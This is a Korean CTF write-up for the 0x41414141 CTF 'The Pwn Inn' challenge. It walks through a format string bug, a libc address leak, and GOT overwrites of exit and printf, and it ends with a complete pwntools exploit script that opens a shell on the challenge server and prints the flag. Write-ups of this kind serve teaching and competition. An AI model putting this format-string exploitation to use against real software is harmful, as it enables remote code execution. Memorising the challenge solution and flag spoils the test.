-
[0x41414141 CTF] The Pwn InnCTF/WRITEUP 2021. 1. 30. 23:55
Disassembly 디스어셈블리
undefined8 main(void) { int64_t iVar1; int64_t in_FS_OFFSET; int64_t canary; iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28); ignore_me_init_buffering(); ignore_me_init_signal(); puts("Welcome to the pwn inn! We hope that you enjoy your stay. What\'s your name? "); vuln(); if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return 0; }
undefined8 vuln(void) { int64_t iVar1; int64_t in_FS_OFFSET; char *format; int64_t var_8h; var_8h = *(int64_t *)(in_FS_OFFSET + 0x28); fgets(&format, 0x100, _reloc.stdin); printf("Welcome "); printf(&format); exit(1); }
vuln 함수에서 fgets와 printf를 연이어 호출해서 포맷 스트링 버그가 발생한다.
NX가 걸려있으므로 return-to-libc를 목표로 공격을 진행해 보자.
Libc address leak
libc-2.31에서는 main 함수의 return address가 <__libc_start_main+243>으로 정해져 있다. 따라서 printf를 이용해 이를 leak하면 라이브러리 주소를 구할 수 있다.
vuln에서 main의 return address까지의 offset을 계산해 payload를 구성해 주면 다음과 같다.
payload = b"%45$lxAA" p.send(payload) __libc_start_main = int(p.recv(12), 16) - 243 libc = __libc_start_main - l.symbols["__libc_start_main"] log.info("libc : " + hex(libc))
FSB
그러나 이대로면 exit를 만나 프로세스가 종료될 것이므로 공격을 진행하기 위해 main이나 vuln을 다시 호출할 필요가 있다. 포맷 스트링 버그를 이용해 exit의 got를 main으로 덮어쓰는 payload를 덧붙여하자.
def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) f = FmtStr(send_payload, offset = 7, numbwritten = 14) f.write(exit_got, main) f.execute_writes()
위에서 주소 12바이트에 더해 "AA"가 출력되므로 numbwritten은 14고, format의 처음 여섯 개 인자가 rsi, rdx, rcx, r8, r9, rsp이고 이어붙일 payload가 rsp+8부터 시작하므로 offset은 7이다.
main이 다시 실행되었으므로 알아낸 libc base address를 이용해 공격을 진행할 수 있다.
Return-to-libc
쉘을 얻기 위해서는 다양한 방법이 있겠지만, 우선 system("/bin/sh")를 목표로 하자. 원하는 함수의 got를 system으로 덮고 rdi에 "/bin/sh"를 넣은 채 실행하면 될 것이므로, rdi를 컨트롤하기 쉬운 printf를 이용할 것이다.
f = FmtStr(send_payload, offset = 6) f.write(printf_got, system) f.execute_writes()
이번에는 payload 앞에 따로 출력할 내용이 없으므로 offset은 6이고 numbwritten도 설정할 필요 없다. 이대로 실행하면 printf의 got을 덮어쓴 뒤 다시 main이 호출된다.
fgets에서 format에 문자열을 입력받고, 이를 인자로 printf가 실행된다. 우리가 원하는 것은 system("/bin/sh")이므로 입력으로 "/bin/sh\x00"을 넣어주면 printf에서 system이 실행되면서 쉘을 취득할 수 있다.
Code
더보기from pwn import * binary = "./the_pwn_inn" lib = "/lib/x86_64-linux-gnu/libc-2.31.so" server = "161.97.176.150" port = 2626 context.binary = binary p = remote(server, port) e = ELF(binary) l = ELF(lib) def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) exit_got = e.got["exit"] printf_got = e.got["printf"] main = e.symbols["main"] p.recvuntil("? \n") payload = b"%45$lxAA" p.send(payload) f = FmtStr(send_payload, offset = 7, numbwritten = 14) f.write(exit_got, main) f.execute_writes() p.recvuntil("Welcome ") __libc_start_main = int(p.recv(12), 16) - 243 libc = __libc_start_main - l.symbols["__libc_start_main"] system = libc + l.symbols["system"] log.info("libc : " + hex(libc)) f = FmtStr(send_payload, offset = 6) f.write(printf_got, system) f.execute_writes() payload = "/bin/sh\x00" p.sendline(payload) p.interactive()
Flag
flag{GOTt4_b3_OVERWRITEing_th0s3_symb0ls_742837423}
'CTF > WRITEUP' 카테고리의 다른 글
[0x41414141 CTF] Faking till you're Making (0) 2021.02.02 [0x41414141 CTF] Moving signals (0) 2021.02.02 [0x41414141 CTF] echo (0) 2021.02.02 [0x41414141 CTF] Return Of The ROPs (0) 2021.02.02 [0x41414141 CTF] external (0) 2021.01.27